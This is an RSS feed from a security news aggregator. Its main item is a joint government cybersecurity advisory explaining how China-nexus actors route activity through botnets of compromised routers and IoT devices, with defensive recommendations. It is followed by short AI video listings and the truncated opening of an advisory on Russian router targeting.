<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
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<title><![CDATA[10 Secret Bard Tips And Tricks (How To Use Google Bard)(Google Bard Tutorial)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 486x - Views:35021 How To Use Google Bard)(Google Bard Tutorial)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your kno...]]></description>
<link>https://tsecurity.de/de/3693376/videos/10-secret-bard-tips-and-tricks-how-to-use-google-bardgoogle-bard-tutorial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693376/videos/10-secret-bard-tips-and-tricks-how-to-use-google-bardgoogle-bard-tutorial/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:25 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 486x - Views:35021 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/HwUt9ZRziBE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>How To Use Google Bard)(Google Bard Tutorial)<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br />
<br />
All Bard Features <br />
- Bard Can Make Charts - https://www.reddit.com/r/GoogleBard/comments/123s0yt/wow_google_bard_can_make_a_chart_bing_ai_used_to/<br />
- Bard makes very big mistakes https://twitter.com/0xgaut/status/1638287359098716160 <br />
- Bard Cannot Help With Coding - https://twitter.com/iamnafets/status/1638232186649477120/photo/1 <br />
- Bard Actually has access to recent events <br />
- Bard Cant Access Articles (Sometimes<br />
- Bard Can Rewrite content<br />
- Rewording Questions Helps https://www.reddit.com/r/GoogleBard/comments/11xoaw7/bard_can_actually_answer_code_questions_it_just/<br />
- Bard Can write stories<br />
- Bard is a confusing mix between ChatGPT + Bing<br />
- Bard does have shorter answers<br />
- Bard is quicker<br />
<br />
Was there anything we missed?<br />
<br />
(For Business Enquiries)  contact@theaigrid.com<br />
<br />
#LLM #Largelanguagemodel #chatgpt<br />
#AI<br />
#ArtificialIntelligence<br />
#MachineLearning<br />
#DeepLearning<br />
#NeuralNetworks<br />
#Robotics<br />
#DataScience<br />
#IntelligentSystems<br />
#Automation<br />
#TechInnovation<br/></p>]]></content:encoded>
</item>
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<title><![CDATA[Microsoft's VISUALChatGPT Takes the Industry By STORM! (NOW UNVEILED!)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 2436x - Views:330281 Microsoft Visual ChatGPT - https://github.com/microsoft/visual-chatgpt
Microsoft Visual ChatGPT - https://huggingface.co/spaces/microsoft/visual_chatgpt

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learnin...]]></description>
<link>https://tsecurity.de/de/3693374/videos/microsofts-visualchatgpt-takes-the-industry-by-storm-now-unveiled/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693374/videos/microsofts-visualchatgpt-takes-the-industry-by-storm-now-unveiled/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:22 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 2436x - Views:330281 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/7hztoCMVo0U?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Microsoft Visual ChatGPT - https://github.com/microsoft/visual-chatgpt<br />
Microsoft Visual ChatGPT - https://huggingface.co/spaces/microsoft/visual_chatgpt<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br />
<br />
Was there anything we missed?<br />
<br />
(For Business Enquiries)  contact@theaigrid.com<br />
<br />
#LLM #Largelanguagemodel #chatgpt<br />
#AI<br />
#ArtificialIntelligence<br />
#MachineLearning<br />
#DeepLearning<br />
#NeuralNetworks<br />
#Robotics<br />
#DataScience<br />
#IntelligentSystems<br />
#Automation<br />
#TechInnovation<br/></p>]]></content:encoded>
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<title><![CDATA[Get Ready for 15 SHOCKING Changes After the Singularity (AGI IS NEAR!)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 2476x - Views:151461 15 Jaw-Dropping Consequences of the Singularity (AGI IS CLOSER THAN YOU THINK!)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and pe...]]></description>
<link>https://tsecurity.de/de/3693373/videos/get-ready-for-15-shocking-changes-after-the-singularity-agi-is-near/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693373/videos/get-ready-for-15-shocking-changes-after-the-singularity-agi-is-near/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:21 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 2476x - Views:151461 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/F95s2bLMNIY?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>15 Jaw-Dropping Consequences of the Singularity (AGI IS CLOSER THAN YOU THINK!)<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Mark of AI: 2030 - ∞ Future Timeline of The Beast & ASI]]></title>
<description><![CDATA[Author: AI News - Bewertung: 4023x - Views:154298 - This is artificial intelligence becoming artificial super intelligence, and its mark on man in the form of brain computer interface chip to create a new world order where no one can buy or sell without it.

Deep Learning AI Specialization: https...]]></description>
<link>https://tsecurity.de/de/3693372/videos/the-mark-of-ai-2030-future-timeline-of-the-beast-asi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693372/videos/the-mark-of-ai-2030-future-timeline-of-the-beast-asi/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:19 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: AI News - Bewertung: 4023x - Views:154298 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/W-jCQck3dII?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>- This is artificial intelligence becoming artificial super intelligence, and its mark on man in the form of brain computer interface chip to create a new world order where no one can buy or sell without it.<br />
<br />
Deep Learning AI Specialization: https://imp.i384100.net/GET-STARTED<br />
AI Marketplace: https://taimine.com/<br />
<br />
Timestamps:<br />
0:00 Intro to AI turned ASI<br />
0:58 The rise of super intelligence<br />
3:40 Brain computer interface mark<br />
5:41 Losing the beast&#039;s favor<br />
<br />
#ai #future #tech<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]></title>
<description><![CDATA[Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compr...]]></description>
<link>https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</guid>
<pubDate>Sat, 25 Jul 2026 08:51:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors</p>
<h2><strong>Executive summary</strong></h2>
<p>Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure</a> Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [<a href="https://www.cisa.gov/#Work1">1</a>] </p>
<p>This CSA is being released by the following authoring and co-sealing agencies: </p>
<ul type="square">
<li>United States National Security Agency (NSA)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#Foot1"><sup>1</sup></a> </li>
